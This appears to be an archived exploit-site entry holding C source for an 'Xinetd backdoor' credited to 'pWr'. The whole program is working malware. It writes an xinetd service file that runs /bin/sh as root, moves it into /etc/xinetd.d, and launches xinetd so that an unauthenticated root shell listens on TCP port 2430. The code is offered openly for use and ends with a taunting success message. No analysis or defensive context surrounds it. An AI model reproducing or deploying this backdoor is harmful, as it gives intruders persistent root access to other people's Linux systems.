Xinetd backdoor.
dee84d089e45597a9c2a27792c04cb8fa64bf053b8299baa9691b1eaf689e153
/* Xinetd 'backdoor' // c0ded by pWr */
#include <stdio.h>
#include <stdlib.h>
int main()
{
FILE *f_conf;
f_conf = fopen("/etc/xinetd.conf", "r");
printf("\nChecking for: /etc/xinetd.conf\n");
if(f_conf != NULL)
{
printf("-> Check = OK\n");
printf("Deleting previous tmp files\n");
system("rm -rf /tmp/xinetd.tmp");
printf("Echoing the backdoor to: /tmp/xinetd.tmp\n");
system("echo service venus >> /tmp/xinetd.tmp");
system("echo { >> /tmp/xinetd.tmp");
system("echo disable = no >> /tmp/xinetd.tmp");
system("echo protocol = tcp >> /tmp/xinetd.tmp");
system("echo port = 2430 >> /tmp/xinetd.tmp");
system("echo socket_type = stream >> /tmp/xinetd.tmp");
system("echo wait = no >> /tmp/xinetd.tmp");
system("echo user = root >> /tmp/xinetd.tmp");
system("echo server = /bin/sh >> /tmp/xinetd.tmp");
system("echo server_args = -i >> /tmp/xinetd.tmp");
system("echo } >> /tmp/xinetd.tmp");
printf("Moving the backdoor to: /etc/xinetd.d\n");
system("mv -f /tmp/xinetd.tmp /etc/xinetd.d/venus");
printf("Starting the backdoor on port: 2430\n");
system("/usr/sbin/xinetd -d -f /etc/xinetd.d/venus");
printf("j00 got it biznitch\n");
}
else if(f_conf == NULL)
{
printf("-> Check = FALSE\n");
printf("\nthis backdoor will not work...!\n\n");
}
return 0;
}